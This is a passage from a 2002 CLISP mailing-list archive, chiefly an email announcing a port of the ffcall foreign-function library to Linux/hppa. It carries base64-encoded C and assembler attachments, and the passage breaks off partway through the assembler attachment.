comments could be kept in the file > also. CVS is your friend. The reason the comments will always be in English only is simple: when you modify the code, you should modify the comments too. I cannot modify the German comments, so, when Stefan translated clos.lisp (just now), I had to edit his translation to reflect the changes I made long ago but did not document then: when editing a German-commented file, I often relied on code as self-documentation, and ignored the comments altogether. > I had been using the sources to improve my understanding of German also. CLISP is not the right place to learn German. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Booze is the answer. I can't remember the question. From will@misconception.org.uk Mon Apr 08 19:29:33 2002 Received: from imailg3.svr.pol.co.uk ([195.92.195.181]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ulO0-00083M-00 for ; Mon, 08 Apr 2002 19:29:32 -0700 Received: from modem-792.alakazam.dialup.pol.co.uk ([217.135.14.24] helo=there) by imailg3.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16ulNa-0002bo-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 03:29:07 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_J74ANK72096W3T1BJIAK" Message-Id: Subject: [clisp-list] Port of ffcall to Linux/hppa Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 8 19:30:02 2002 X-Original-Date: Tue, 9 Apr 2002 03:28:31 +0100 --------------Boundary-00=_J74ANK72096W3T1BJIAK Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit I've started a port of ffcall to Linux/hppa. Currently it is almost complete pending a toolchain problem. The parts I have and know work I will split up into patches and you can look them over. These bits should not affect the build on other arches. avcall-hppa-linux.c: avcall implementation for Linux/hppa. avcall-hppa-linux.s: Assembler compiled from above file with gcc 3.0.4. clisp-2.28-avcall-makefile.diff: Additions to ffcall/avcall/Makefile.devel to produce assembler. vacall-hppa-linux.s: Vacall code compiled with gcc 3.0.4. clisp-2.28-vacall-makefile.diff: Changes to ffcall/vacall/Makefile.devel to produce above file. --------------Boundary-00=_J74ANK72096W3T1BJIAK Content-Type: text/x-c; charset="iso-8859-1"; name="avcall-hppa-linux.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="avcall-hppa-linux.c" I2lmbmRlZiBfYXZjYWxsX2hwcGFfbGludXhfYwkJCQkvKi0qLSBDIC0qLSovCiNkZWZpbmUgX2F2 Y2FsbF9ocHBhX2xpbnV4X2MKLyoqCiAgQ29weXJpZ2h0IDE5OTMgQmlsbCBUcmlnZ3MsIDxCaWxs LlRyaWdnc0BpbnJpYWxwZXMuZnI+CiAgQ29weXJpZ2h0IDE5OTUtMTk5OSBCcnVubyBIYWlibGUs IDxoYWlibGVAY2xpc3AuY29ucy5vcmc+CiAgQ29weXJpZ2h0IDIwMDIgICAgICBXaWxsIE5ld3Rv biA8d2lsbEBtaXNjb25jZXB0aW9uLm9yZy51az4KCiAgVGhpcyBpcyBmcmVlIHNvZnR3YXJlIGRp c3RyaWJ1dGVkIHVuZGVyIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMKICBMaWNlbmNlIGRlc2NyaWJl ZCBpbiB0aGUgZmlsZSBDT1BZSU5HLiBDb250YWN0IHRoZSBhdXRob3IgaWYKICB5b3UgZG9uJ3Qg aGF2ZSB0aGlzIG9yIGNhbid0IGxpdmUgd2l0aCBpdC4gVGhlcmUgaXMgQUJTT0xVVEVMWQogIE5P IFdBUlJBTlRZLCBleHBsaWNpdCBvciBpbXBsaWVkLCBvbiB0aGlzIHNvZnR3YXJlLgoqKi8KLyot LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tCiAgISEhIFRISVMgUk9VVElORSBNVVNUIEJFIENPTVBJTEVEIGdjYyAtTyAh ISEKCiAgRm9yZWlnbiBmdW5jdGlvbiBpbnRlcmZhY2UgZm9yIGEgSFAgUHJlY2lzaW9uIEFyY2hp dGVjdHVyZSAxLjAgd2l0aCBnY2MKICBvbiBMaW51eC4KCiAgU2ltaWxhciB0byBIUFVYLCBidXQg d2UgaGF2ZSB0byBleHBsaWNpdGx5IGxvYWQgdGhlIGZsb2F0IHJlZ3MgZm9yIHRoZSBmaXJzdAog IGZvdXIgYXJncy4KCiAgVGhpcyBjYWxscyBhIEMgZnVuY3Rpb24gd2l0aCBhbiBhcmd1bWVudCBs aXN0IGJ1aWx0IHVwIHVzaW5nIG1hY3JvcwogIGRlZmluZWQgaW4gYXZfY2FsbC5oLgoKICAtLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tKi8KI2luY2x1ZGUgImF2Y2FsbC5oLmluIgoKI2RlZmluZSBSRVRVUk4oVFlQRSxW QUwpCSgqKFRZUEUqKWwtPnJhZGRyID0gKFRZUEUpKFZBTCkpCgppbnQKX19idWlsdGluX2F2Y2Fs bChhdl9hbGlzdCogbCkKewogIHJlZ2lzdGVyIF9fYXZ3b3JkKglzcAlfX2FzbV9fKCIlcjMwIik7 IC8qIEMgbmFtZXMgZm9yIHJlZ2lzdGVycyAqLwogIHJlZ2lzdGVyIGZsb2F0CWZyZXQJX19hc21f XygiJWZyNCIpOwogIHJlZ2lzdGVyIGRvdWJsZQlkcmV0CV9fYXNtX18oIiVmcjQiKTsKICByZWdp c3RlciBfX2F2d29yZAlpcmV0MglfX2FzbV9fKCIlcjI5Iik7CiAgcmVnaXN0ZXIgX19hdndvcmQq CXNyZXQJX19hc21fXygiJXIyOCIpOyAvKiBzdHJ1Y3R1cmUgcmV0dXJuIHBvaW50ZXIgKi8KCiAg X19hdndvcmQgc3BhY2VbX19BVl9BTElTVF9XT1JEU107CS8qIHNwYWNlIGZvciBjYWxsZWUncyBz dGFjayBmcmFtZSAqLwogIF9fYXZ3b3JkKiBhcmdmcmFtZSA9IHNwIC0gODsJCS8qIHN0YWNrIG9m ZnNldCBmb3IgYXJndW1lbnQgbGlzdCAqLwogIGludCBhcmdsZW4gPSAmbC0+YXJnc1tfX0FWX0FM SVNUX1dPUkRTXSAtIGwtPmFwdHI7CiAgX19hdndvcmQgaTsKCgogIGZvciAoaSA9IDA7IGkgPCA0 OyBpKyspIHsKICAgICAgaWYgKGwtPmFyZ3R5cGVzW2ldID09ICdGJykgewoJICBzd2l0Y2ggKGkp IHsKCSAgY2FzZSAwOgoJICAgICAgX19hc21fXyBfX3ZvbGF0aWxlX18gKCJsZHcgJTAsICUlcjIw XG4gZmxkdyAwKCUlcjIwKSwlJWZyNCIgOiA6ICJtIiAoJmwtPmFyZ3NbX19BVl9BTElTVF9XT1JE Uy0xXSkgOiAicjIwIiwgImZyNCIpOwoJICAgICAgYnJlYWs7CgkgIGNhc2UgMToKCSAgICAgIF9f YXNtX18gX192b2xhdGlsZV9fICgibGR3ICUwLCAlJXIyMFxuIGZsZHcgMCglJXIyMCksJSVmcjUi IDogOiAibSIgKCZsLT5hcmdzW19fQVZfQUxJU1RfV09SRFMtMl0pIDogInIyMCIsICJmcjUiKTsK CSAgICAgIGJyZWFrOwoJICBjYXNlIDI6CgkgICAgICBfX2FzbV9fIF9fdm9sYXRpbGVfXyAoImxk dyAlMCwgJSVyMjBcbiBmbGR3IDAoJSVyMjApLCUlZnI2IiA6IDogIm0iICgmbC0+YXJnc1tfX0FW X0FMSVNUX1dPUkRTLTNdKSA6ICJyMjAiLCAiZnI2Iik7CgkgICAgICBicmVhazsKCSAgY2FzZSAz OgoJICAgICAgX19hc21fXyBfX3ZvbGF0aWxlX18gKCJsZHcgJTAsICUlcjIwXG4gZmxkdyAwKCUl cjIwKSwlJWZyNyIgOiA6ICJtIiAoJmwtPmFyZ3NbX19BVl9BTElTVF9XT1JEUy00XSkgOiAicjIw IiwgImZyNyIpOwoJICAgICAgYnJlYWs7CgkgIH0KICAgICAgfQogICAgICBlbHNlIGlmIChsLT5h cmd0eXBlc1tpXSA9PSAnRCcpIHsKCSAgc3dpdGNoIChpKSB7CgkgIGNhc2UgMDoKCSAgICAgIF9f YXNtX18gX192b2xhdGlsZV9fICgibGR3ICUwLCAlJXIyMFxuIGZsZGQgMCglJXIyMCksJSVmcjUi IDogOiAibSIgKCZsLT5hcmdzW19fQVZfQUxJU1RfV09SRFMtMl0pIDogInIyMCIsICJmcjUiLCAi ZnI0Iik7CgkgICAgICBicmVhazsKCSAgY2FzZSAyOgoJICAgICAgX19hc21fXyBfX3ZvbGF0aWxl X18gKCJsZHcgJTAsICUlcjIwXG4gZmxkZCAwKCUlcjIwKSwlJWZyNyIgOiA6ICJtIiAoJmwtPmFy Z3NbX19BVl9BTElTVF9XT1JEUy00XSkgOiAicjIwIiwgImZyNyIsICJmcjYiKTsKCSAgICAgIGJy ZWFrOwoJICB9CiAgICAgIH0KICB9CgogIGZvciAoaSA9IC1hcmdsZW47IGkgPCAtNDsgaSsrKSB7 CS8qIHB1c2ggZnVuY3Rpb24gYXJncyBvbnRvIHN0YWNrICovCiAgICAgIGFyZ2ZyYW1lW2ldID0g bC0+YXJnc1tfX0FWX0FMSVNUX1dPUkRTK2ldOwogIH0KCgogIGlmIChsLT5ydHlwZSA9PSBfX0FW c3RydWN0KSB7CQkvKiBwdXNoIHN0cnVjdCByZXR1cm4gYWRkcmVzcyAqLwogICAgICBzcmV0ID0g bC0+cmFkZHI7CiAgfQoKCQkJCS8qIGNhbGwgZnVuY3Rpb24sIHBhc3MgNCBhcmdzIGluIHJlZ2lz dGVycyAqLwogIGkgPSAoKmwtPmZ1bmMpKGwtPmFyZ3NbX19BVl9BTElTVF9XT1JEUy0xXSwgbC0+ YXJnc1tfX0FWX0FMSVNUX1dPUkRTLTJdLAoJCSBsLT5hcmdzW19fQVZfQUxJU1RfV09SRFMtM10s IGwtPmFyZ3NbX19BVl9BTElTVF9XT1JEUy00XSk7CgogIC8qIHNhdmUgcmV0dXJuIHZhbHVlICov CiAgaWYgKGwtPnJ0eXBlID09IF9fQVZ2b2lkKSB7CiAgfSBlbHNlCiAgaWYgKGwtPnJ0eXBlID09 IF9fQVZ3b3JkKSB7CiAgICBSRVRVUk4oX19hdndvcmQsIGkpOwogIH0gZWxzZQogIGlmIChsLT5y dHlwZSA9PSBfX0FWY2hhcikgewogICAgUkVUVVJOKGNoYXIsIGkpOwogIH0gZWxzZQogIGlmIChs LT5ydHlwZSA9PSBfX0FWc2NoYXIpIHsKICAgIFJFVFVSTihzaWduZWQgY2hhciwgaSk7CiAgfSBl bHNlCiAgaWYgKGwtPnJ0eXBlID09IF9fQVZ1Y2hhcikgewogICAgUkVUVVJOKHVuc2lnbmVkIGNo YXIsIGkpOwogIH0gZWxzZQogIGlmIChsLT5ydHlwZSA9PSBfX0FWc2hvcnQpIHsKICAgIFJFVFVS TihzaG9ydCwgaSk7CiAgfSBlbHNlCiAgaWYgKGwtPnJ0eXBlID09IF9fQVZ1c2hvcnQpIHsKICAg IFJFVFVSTih1bnNpZ25lZCBzaG9ydCwgaSk7CiAgfSBlbHNlCiAgaWYgKGwtPnJ0eXBlID09IF9f QVZpbnQpIHsKICAgIFJFVFVSTihpbnQsIGkpOwogIH0gZWxzZQogIGlmIChsLT5ydHlwZSA9PSBf X0FWdWludCkgewogICAgUkVUVVJOKHVuc2lnbmVkIGludCwgaSk7CiAgfSBlbHNlCiAgaWYgKGwt PnJ0eXBlID09IF9fQVZsb25nKSB7CiAgICBSRVRVUk4obG9uZywgaSk7CiAgfSBlbHNlCiAgaWYg KGwtPnJ0eXBlID09IF9fQVZ1bG9uZykgewogICAgUkVUVVJOKHVuc2lnbmVkIGxvbmcsIGkpOwog IH0gZWxzZQogIGlmIChsLT5ydHlwZSA9PSBfX0FWbG9uZ2xvbmcgfHwgbC0+cnR5cGUgPT0gX19B VnVsb25nbG9uZykgewogICAgKChfX2F2d29yZCopbC0+cmFkZHIpWzBdID0gaTsKICAgICgoX19h dndvcmQqKWwtPnJhZGRyKVsxXSA9IGlyZXQyOwogIH0gZWxzZQogIGlmIChsLT5ydHlwZSA9PSBf X0FWZmxvYXQpIHsKICAgIFJFVFVSTihmbG9hdCwgZnJldCk7CiAgfSBlbHNlCiAgaWYgKGwtPnJ0 eXBlID09IF9fQVZkb3VibGUpIHsKICAgIFJFVFVSTihkb3VibGUsIGRyZXQpOwogIH0gZWxzZQog IGlmIChsLT5ydHlwZSA9PSBfX0FWdm9pZHApIHsKICAgIFJFVFVSTih2b2lkKiwgaSk7CiAgfSBl bHNlCiAgaWYgKGwtPnJ0eXBlID09IF9fQVZzdHJ1Y3QpIHsKICAgIGlmIChsLT5mbGFncyAmIF9f QVZfUENDX1NUUlVDVF9SRVRVUk4pIHsKICAgICAgLyogcGNjIHN0cnVjdCByZXR1cm4gY29udmVu dGlvbjogbmVlZCBhICAqKFRZUEUqKWwtPnJhZGRyID0gKihUWVBFKilpOyAgKi8KICAgICAgaWYg KGwtPnJzaXplID09IHNpemVvZihjaGFyKSkgewogICAgICAgIFJFVFVSTihjaGFyLCAqKGNoYXIq KWkpOwogICAgICB9IGVsc2UKICAgICAgaWYgKGwtPnJzaXplID09IHNpemVvZihzaG9ydCkpIHsK ICAgICAgICBSRVRVUk4oc2hvcnQsICooc2hvcnQqKWkpOwogICAgICB9IGVsc2UKICAgICAgaWYg KGwtPnJzaXplID09IHNpemVvZihpbnQpKSB7CiAgICAgICAgUkVUVVJOKGludCwgKihpbnQqKWkp OwogICAgICB9IGVsc2UKICAgICAgaWYgKGwtPnJzaXplID09IHNpemVvZihkb3VibGUpKSB7CiAg ICAgICAgKChpbnQqKWwtPnJhZGRyKVswXSA9ICgoaW50KilpKVswXTsKICAgICAgICAoKGludCop bC0+cmFkZHIpWzFdID0gKChpbnQqKWkpWzFdOwogICAgICB9IGVsc2UgewogICAgICAgIGludCBu ID0gKGwtPnJzaXplICsgc2l6ZW9mKF9fYXZ3b3JkKS0xKS9zaXplb2YoX19hdndvcmQpOwogICAg ICAgIHdoaWxlICgtLW4gPj0gMCkKICAgICAgICAgICgoX19hdndvcmQqKWwtPnJhZGRyKVtuXSA9 ICgoX19hdndvcmQqKWkpW25dOwogICAgICB9CiAgICB9IGVsc2UgewogICAgICAvKiBub3JtYWwg c3RydWN0IHJldHVybiBjb252ZW50aW9uICovCiAgICAgIGlmIChsLT5mbGFncyAmIF9fQVZfU01B TExfU1RSVUNUX1JFVFVSTikgewogICAgICAgIGlmIChsLT5mbGFncyAmIF9fQVZfT0xER0NDX1NU UlVDVF9SRVRVUk4pIHsKICAgICAgICAgIC8qIGdjYyA8PSAyLjYuMyByZXR1cm5zIHN0cnVjdHMg b2Ygc2l6ZSAxLDIsNCBpbiByZWdpc3RlcnMuICovCiAgICAgICAgICBpZiAobC0+cnNpemUgPT0g c2l6ZW9mKGNoYXIpKSB7CiAgICAgICAgICAgIFJFVFVSTihjaGFyLCBpKTsKICAgICAgICAgIH0g ZWxzZQogICAgICAgICAgaWYgKGwtPnJzaXplID09IHNpemVvZihzaG9ydCkpIHsKICAgICAgICAg ICAgUkVUVVJOKHNob3J0LCBpKTsKICAgICAgICAgIH0gZWxzZQogICAgICAgICAgaWYgKGwtPnJz aXplID09IHNpemVvZihpbnQpKSB7CiAgICAgICAgICAgIFJFVFVSTihpbnQsIGkpOwogICAgICAg ICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAvKiBjYywgYzg5IGFuZCBnY2MgPj0gMi43 IHJldHVybiBzdHJ1Y3RzIG9mIHNpemUgPD0gOCBpbiByZWdpc3RlcnMuICovCiAgICAgICAgICBp ZiAobC0+cnNpemUgPT0gMSkgewogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIgKilsLT5yYWRk cilbMF0gPSAodW5zaWduZWQgY2hhcikoaSk7CiAgICAgICAgICB9IGVsc2UKICAgICAgICAgIGlm IChsLT5yc2l6ZSA9PSAyKSB7CiAgICAgICAgICAgICgodW5zaWduZWQgY2hhciAqKWwtPnJhZGRy KVswXSA9ICh1bnNpZ25lZCBjaGFyKShpPj44KTsKICAgICAgICAgICAgKCh1bnNpZ25lZCBjaGFy ICopbC0+cmFkZHIpWzFdID0gKHVuc2lnbmVkIGNoYXIpKGkpOwogICAgICAgICAgfSBlbHNlCiAg ICAgICAgICBpZiAobC0+cnNpemUgPT0gMykgewogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIg KilsLT5yYWRkcilbMF0gPSAodW5zaWduZWQgY2hhcikoaT4+MTYpOwogICAgICAgICAgICAoKHVu c2lnbmVkIGNoYXIgKilsLT5yYWRkcilbMV0gPSAodW5zaWduZWQgY2hhcikoaT4+OCk7CiAgICAg ICAgICAgICgodW5zaWduZWQgY2hhciAqKWwtPnJhZGRyKVsyXSA9ICh1bnNpZ25lZCBjaGFyKShp KTsKICAgICAgICAgIH0gZWxzZQogICAgICAgICAgaWYgKGwtPnJzaXplID09IDQpIHsKICAgICAg ICAgICAgKCh1bnNpZ25lZCBjaGFyICopbC0+cmFkZHIpWzBdID0gKHVuc2lnbmVkIGNoYXIpKGk+ PjI0KTsKICAgICAgICAgICAgKCh1bnNpZ25lZCBjaGFyICopbC0+cmFkZHIpWzFdID0gKHVuc2ln bmVkIGNoYXIpKGk+PjE2KTsKICAgICAgICAgICAgKCh1bnNpZ25lZCBjaGFyICopbC0+cmFkZHIp WzJdID0gKHVuc2lnbmVkIGNoYXIpKGk+PjgpOwogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIg KilsLT5yYWRkcilbM10gPSAodW5zaWduZWQgY2hhcikoaSk7CiAgICAgICAgICB9IGVsc2UKICAg ICAgICAgIGlmIChsLT5yc2l6ZSA9PSA1KSB7CiAgICAgICAgICAgICgodW5zaWduZWQgY2hhciAq KWwtPnJhZGRyKVswXSA9ICh1bnNpZ25lZCBjaGFyKShpPj4yNCk7CiAgICAgICAgICAgICgodW5z aWduZWQgY2hhciAqKWwtPnJhZGRyKVsxXSA9ICh1bnNpZ25lZCBjaGFyKShpPj4xNik7CiAgICAg ICAgICAgICgodW5zaWduZWQgY2hhciAqKWwtPnJhZGRyKVsyXSA9ICh1bnNpZ25lZCBjaGFyKShp Pj44KTsKICAgICAgICAgICAgKCh1bnNpZ25lZCBjaGFyICopbC0+cmFkZHIpWzNdID0gKHVuc2ln bmVkIGNoYXIpKGkpOwogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIgKilsLT5yYWRkcilbNF0g PSAodW5zaWduZWQgY2hhcikoaXJldDIpOwogICAgICAgICAgfSBlbHNlCiAgICAgICAgICBpZiAo bC0+cnNpemUgPT0gNikgewogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIgKilsLT5yYWRkcilb MF0gPSAodW5zaWduZWQgY2hhcikoaT4+MjQpOwogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIg KilsLT5yYWRkcilbMV0gPSAodW5zaWduZWQgY2hhcikoaT4+MTYpOwogICAgICAgICAgICAoKHVu c2lnbmVkIGNoYXIgKilsLT5yYWRkcilbMl0gPSAodW5zaWduZWQgY2hhcikoaT4+OCk7CiAgICAg ICAgICAgICgodW5zaWduZWQgY2hhciAqKWwtPnJhZGRyKVszXSA9ICh1bnNpZ25lZCBjaGFyKShp KTsKICAgICAgICAgICAgKCh1bnNpZ25lZCBjaGFyICopbC0+cmFkZHIpWzRdID0gKHVuc2lnbmVk IGNoYXIpKGlyZXQyPj44KTsKICAgICAgICAgICAgKCh1bnNpZ25lZCBjaGFyICopbC0+cmFkZHIp WzVdID0gKHVuc2lnbmVkIGNoYXIpKGlyZXQyKTsKICAgICAgICAgIH0gZWxzZQogICAgICAgICAg aWYgKGwtPnJzaXplID09IDcpIHsKICAgICAgICAgICAgKCh1bnNpZ25lZCBjaGFyICopbC0+cmFk ZHIpWzBdID0gKHVuc2lnbmVkIGNoYXIpKGk+PjI0KTsKICAgICAgICAgICAgKCh1bnNpZ25lZCBj aGFyICopbC0+cmFkZHIpWzFdID0gKHVuc2lnbmVkIGNoYXIpKGk+PjE2KTsKICAgICAgICAgICAg KCh1bnNpZ25lZCBjaGFyICopbC0+cmFkZHIpWzJdID0gKHVuc2lnbmVkIGNoYXIpKGk+PjgpOwog ICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIgKilsLT5yYWRkcilbM10gPSAodW5zaWduZWQgY2hh cikoaSk7CiAgICAgICAgICAgICgodW5zaWduZWQgY2hhciAqKWwtPnJhZGRyKVs0XSA9ICh1bnNp Z25lZCBjaGFyKShpcmV0Mj4+MTYpOwogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIgKilsLT5y YWRkcilbNV0gPSAodW5zaWduZWQgY2hhcikoaXJldDI+PjgpOwogICAgICAgICAgICAoKHVuc2ln bmVkIGNoYXIgKilsLT5yYWRkcilbNl0gPSAodW5zaWduZWQgY2hhcikoaXJldDIpOwogICAgICAg ICAgfSBlbHNlCiAgICAgICAgICBpZiAobC0+cnNpemUgPT0gOCkgewogICAgICAgICAgICAoKHVu c2lnbmVkIGNoYXIgKilsLT5yYWRkcilbMF0gPSAodW5zaWduZWQgY2hhcikoaT4+MjQpOwogICAg ICAgICAgICAoKHVuc2lnbmVkIGNoYXIgKilsLT5yYWRkcilbMV0gPSAodW5zaWduZWQgY2hhciko aT4+MTYpOwogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIgKilsLT5yYWRkcilbMl0gPSAodW5z aWduZWQgY2hhcikoaT4+OCk7CiAgICAgICAgICAgICgodW5zaWduZWQgY2hhciAqKWwtPnJhZGRy KVszXSA9ICh1bnNpZ25lZCBjaGFyKShpKTsKICAgICAgICAgICAgKCh1bnNpZ25lZCBjaGFyICop bC0+cmFkZHIpWzRdID0gKHVuc2lnbmVkIGNoYXIpKGlyZXQyPj4yNCk7CiAgICAgICAgICAgICgo dW5zaWduZWQgY2hhciAqKWwtPnJhZGRyKVs1XSA9ICh1bnNpZ25lZCBjaGFyKShpcmV0Mj4+MTYp OwogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIgKilsLT5yYWRkcilbNl0gPSAodW5zaWduZWQg Y2hhcikoaXJldDI+PjgpOwogICAgICAgICAgICAoKHVuc2lnbmVkIGNoYXIgKilsLT5yYWRkcilb N10gPSAodW5zaWduZWQgY2hhcikoaXJldDIpOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAg fQogICAgfQogIH0KICByZXR1cm4gMDsKfQoKI2VuZGlmIC8qX2F2Y2FsbF9ocHBhX2xpbnV4X2Mg Ki8K --------------Boundary-00=_J74ANK72096W3T1BJIAK Content-Type: text/x-assembler; charset="iso-8859-1"; name="vacall-hppa-linux.s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="vacall-hppa-linux.s" CS5MRVZFTCAxLjAKCS50ZXh0CgkuYWxpZ24gNAouZ2xvYmwgdmFjYWxsCgkJLnR5cGUJCSB2YWNh bGwsQGZ1bmN0aW9uCnZhY2FsbDoKCS5QUk9DCgkuQ0FMTElORk8gRlJBTUU9MTkyLENBTExTLFNB VkVfUlAsU0FWRV9TUCxFTlRSWV9HUj00CgkuRU5UUlkKCXN0dyAlcjIsLTIwKCVyMzApCgljb3B5 ICVyMywlcjEKCWNvcHkgJXIzMCwlcjMKCXN0d20gJXIxLDE5MiglcjMwKQoJc3R3ICVyNCwxMjgo JXIzKQoJc3R3ICVyMTksLTMyKCVyMzApCglzdHcgJXIyNiwtMzYoJXIzKQoJc3R3ICVyMjUsLTQw KCVyMykKCXN0dyAlcjI0LC00NCglcjMpCglzdHcgJXIyMywtNDgoJXIzKQoJY29weSAlcjE5LCVy NAoJbGRvIDg4KCVyMyksJXIyMAoJZnN0ZHMgJWZyNSwwKCVyMjApCglsZG8gODAoJXIzKSwlcjIw Cglmc3RkcyAlZnI3LDAoJXIyMCkKCWxkbyA3NiglcjMpLCVyMjAKCWZzdHdzICVmcjRMLDAoJXIy MCkKCWxkbyA3MiglcjMpLCVyMjAKCWZzdHdzICVmcjVMLDAoJXIyMCkKCWxkbyA2OCglcjMpLCVy MjAKCWZzdHdzICVmcjZMLDAoJXIyMCkKCWxkbyA2NCglcjMpLCVyMjAKCWZzdHdzICVmcjdMLDAo JXIyMCkKCXN0dyAlcjAsMTYoJXIzKQoJbGRvIC01MiglcjMpLCVyMjAKCWxkbyAyMCglcjIwKSwl cjIwCglzdHcgJXIyMCwyMCglcjMpCglzdHcgJXIwLDI0KCVyMykKCXN0dyAlcjAsMjgoJXIzKQoJ c3R3ICVyMjgsNDgoJXIzKQoJbGRvIC01MiglcjMpLCVyMjAKCWxkbyA0KCVyMjApLCVyMjAKCXN0 dyAlcjIwLDUyKCVyMykKCWxkbyAxNiglcjMpLCVyMjEKCWxkdyAyMCglcjMpLCVyMjAKCXN1YiAl cjIxLCVyMjAsJXIyMAoJbGRvIDY0KCVyMjApLCVyMjAKCXN0dyAlcjIwLDU2KCVyMykKCWxkbyAx NiglcjMpLCVyMjEKCWxkdyAyMCglcjMpLCVyMjAKCXN1YiAlcjIxLCVyMjAsJXIyMAoJbGRvIDgw KCVyMjApLCVyMjAKCXN0dyAlcjIwLDYwKCVyMykKCWFkZGlsIExUJ3ZhY2FsbF9mdW5jdGlvbiwl cjE5CglsZHcgUlQndmFjYWxsX2Z1bmN0aW9uKCVyMSksJXIxCglsZHcgMCglcjEpLCVyMjAKCWxk byAxNiglcjMpLCVyMjYKCWNvcHkgJXIyMCwlcjIyCgkuQ0FMTAlBUkdXMD1HUgoJYmwgJCRkeW5j YWxsLCVyMzEKCWNvcHkgJXIzMSwlcjIKCWNvcHkgJXI0LCVyMTkKCWxkdyAyOCglcjMpLCVyMjAK CWNvbWliLDw+LG4gMCwlcjIwLC5MMgoJYixuIC5MMwouTDI6CglsZHcgMjgoJXIzKSwlcjIwCglj b21pYiw8PixuIDEsJXIyMCwuTDQKCWxkYiA0MCglcjMpLCVyMjAKCWV4dHJzICVyMjAsMzEsOCwl cjI4CgliLG4gLkwzCi5MNDoKCWxkdyAyOCglcjMpLCVyMjAKCWNvbWliLDw+LG4gMiwlcjIwLC5M NgoJbGRiIDQwKCVyMyksJXIyMAoJZXh0cnMgJXIyMCwzMSw4LCVyMjgKCWIsbiAuTDMKLkw2OgoJ bGR3IDI4KCVyMyksJXIyMAoJY29taWIsPD4sbiAzLCVyMjAsLkw4CglsZGIgNDAoJXIzKSwlcjI4 CgliLG4gLkwzCi5MODoKCWxkdyAyOCglcjMpLCVyMjAKCWNvbWliLDw+LG4gNCwlcjIwLC5MMTAK CWxkaCA0MCglcjMpLCVyMjAKCWV4dHJzICVyMjAsMzEsMTYsJXIyOAoJYixuIC5MMwouTDEwOgoJ bGR3IDI4KCVyMyksJXIyMAoJY29taWIsPD4sbiA1LCVyMjAsLkwxMgoJbGRoIDQwKCVyMyksJXIy OAoJYixuIC5MMwouTDEyOgoJbGR3IDI4KCVyMyksJXIyMAoJY29taWIsPD4sbiA2LCVyMjAsLkwx NAoJbGR3IDQwKCVyMyksJXIyOAoJYixuIC5MMwouTDE0OgoJbGR3IDI4KCVyMyksJXIyMAoJY29t aWIsPD4sbiA3LCVyMjAsLkwxNgoJbGR3IDQwKCVyMyksJXIyOAoJYixuIC5MMwouTDE2OgoJbGR3 IDI4KCVyMyksJXIyMAoJY29taWIsPD4sbiA4LCVyMjAsLkwxOAoJbGR3IDQwKCVyMyksJXIyOAoJ YixuIC5MMwouTDE4OgoJbGR3IDI4KCVyMyksJXIyMAoJY29taWIsPD4sbiA5LCVyMjAsLkwyMAoJ bGR3IDQwKCVyMyksJXIyOAoJYixuIC5MMwouTDIwOgoJbGR3IDI4KCVyMyksJXIyMAoJY29taWIs PSxuIDEwLCVyMjAsLkwyMwoJbGR3IDI4KCVyMyksJXIyMAoJY29taWIsPSxuIDExLCVyMjAsLkwy MwoJYixuIC5MMjIKLkwyMzoKCWxkdyA0MCglcjMpLCVyMjgKCWxkdyA0NCglcjMpLCVyMjkKCWIs biAuTDMKLkwyMjoKCWxkdyAyOCglcjMpLCVyMjAKCWNvbWliLDw+LG4gMTIsJXIyMCwuTDI1Cgls ZG8gNDAoJXIzKSwlcjIwCglmbGR3cyAwKCVyMjApLCVmcjRMCglsZHcgNDAoJXIzKSwlcjI4Cgli LG4gLkwzCi5MMjU6CglsZHcgMjgoJXIzKSwlcjIwCgljb21pYiw8PixuIDEzLCVyMjAsLkwyNwoJ bGRvIDQwKCVyMyksJXIyMAoJZmxkZHMgMCglcjIwKSwlZnI0CglsZHcgNDAoJXIzKSwlcjI4Cgls ZHcgNDQoJXIzKSwlcjI5CgliLG4gLkwzCi5MMjc6CglsZHcgMjgoJXIzKSwlcjIwCgljb21pYiw8 PixuIDE0LCVyMjAsLkwyOQoJbGR3IDQwKCVyMyksJXIyOAoJYixuIC5MMwouTDI5OgoJbGR3IDI4 KCVyMyksJXIyMAoJY29taWIsPD4sbiAxNSwlcjIwLC5MMwoJbGR3IDE2KCVyMyksJXIyMAoJZXh0 cnUgJXIyMCwzMSwxLCVyMjAKCWNvbWliLD0sbiAwLCVyMjAsLkwzMgoJbGR3IDI0KCVyMyksJXIy OAoJYixuIC5MMwouTDMyOgoJbGR3IDE2KCVyMyksJXIyMAoJbGRpIDIsJXIyMQoJYW5kICVyMjAs 